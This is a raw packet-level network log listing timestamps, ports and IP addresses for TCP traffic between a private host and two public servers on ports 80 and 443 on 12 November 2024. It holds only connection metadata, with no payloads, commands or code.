Nov 12, 2024 15:42:15.396395922 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.399605036 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.399627924 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.401581049 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.404898882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.404911995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.404997110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.435643911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.435655117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.435733080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.438982964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.439047098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.439178944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.439191103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.439229012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.442158937 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.444580078 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.462369919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.462414980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.462426901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.462486982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.462486982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.487323999 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.520045042 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.520087004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.520210981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.532711029 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.535959959 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.535979033 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.538115025 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.549149036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.549222946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.549226046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.549278021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.552248001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.552280903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.552292109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.552336931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.552350998 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.552401066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.576378107 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.577708960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.577725887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.577737093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.577805996 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.579024076 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.619338036 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.636398077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.636416912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.636507988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.664482117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.664513111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.664572001 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.667406082 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.667418957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.667469978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.667481899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.667500019 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.667529106 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.667529106 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.667550087 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.670872927 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.673858881 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.673872948 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.675699949 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.693747044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.693774939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.693787098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.693799019 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.693824053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.694631100 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.694631100 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.705956936 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.713418007 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.750591040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.750607014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.750663042 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.755336046 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.780052900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.780083895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.780118942 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.780118942 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.782691002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.782704115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.782785892 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.800240993 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.803020954 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.803040981 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.806740999 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.808077097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808093071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808130026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808165073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.808187962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808198929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808201075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.808211088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.808244944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.808244944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.808274031 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.808732033 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.841952085 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.844588995 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.867943048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.867957115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.868072033 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.887351990 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.895482063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.895497084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.895621061 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.898288012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.898372889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.898382902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.898444891 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.923717976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.923749924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.923763037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.923801899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.923813105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.923820019 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.923820019 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.923856020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.929863930 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.932949066 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.932984114 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.938379049 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.940495968 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.972279072 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.974504948 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.983119965 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.983136892 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.983148098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.983197927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.983247995 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.010591030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.010691881 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.010826111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.010885000 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.013340950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.013396978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.013407946 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.013473034 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.015332937 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.039134026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039163113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039175987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039186954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039201975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039215088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.039215088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.039222956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.039251089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.039287090 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.064304113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.067559958 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.067580938 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.098155022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.098171949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.098182917 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.098228931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.098228931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.103133917 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.106331110 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.106342077 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.108542919 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.129470110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.129498959 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.129513979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.129532099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.129532099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.129581928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.151333094 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.154516935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154532909 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154550076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154565096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154582977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154583931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.154583931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.154587984 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154597998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.154656887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.207940102 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.210653067 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.210675001 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.213387012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.213422060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.213438988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.213450909 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.213479996 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.213479996 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.241142035 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.241166115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.241214037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.241251945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.243882895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.243963003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.244048119 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.260178089 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.262862921 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.262883902 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.269555092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269568920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269614935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269627094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269638062 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269648075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269658089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.269670010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.269720078 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660129070 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.660408020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660423994 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660438061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660494089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660531044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660533905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660548925 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660562038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660624027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660624027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660624027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660624981 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.660847902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660861015 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660881996 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660895109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660906076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660907984 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.660917997 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.660923958 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660923958 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660926104 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.660948038 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660965919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.660996914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661007881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661021948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661035061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661047935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661062002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661086082 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661086082 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661086082 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661123037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661133051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661161900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661176920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661187887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661201954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661214113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661222935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661222935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661237001 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661257982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.661307096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661319017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.661354065 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.663845062 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.663858891 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.663885117 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.663887978 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.664458036 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.664462090 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.665754080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665779114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665791988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665811062 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665812016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.665822983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665834904 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665848017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665853024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.665853024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.665860891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665873051 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.665874958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.665911913 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.665911913 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.674454927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.674468040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.674477100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.674524069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.674524069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.730729103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730743885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730815887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.730864048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730911970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730922937 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730931997 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730972052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.730972052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.730973005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.730981112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.731044054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.736593008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.736602068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.736668110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.789639950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.789684057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.789733887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.789750099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.802747011 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.805665016 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.805689096 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.839910984 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.842561007 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.842572927 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.844569921 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.845953941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.845978022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.845988989 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.845999002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846019030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.846019030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.846052885 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.846617937 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846628904 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846640110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846653938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846677065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.846685886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.846751928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.846751928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.851664066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.851697922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.851726055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.851756096 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.851763010 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.851779938 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.851789951 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.891329050 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.904880047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.904891014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.904942989 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.961582899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961595058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961615086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961626053 CET	80	49794	185.215.113.16	192.168.2.4
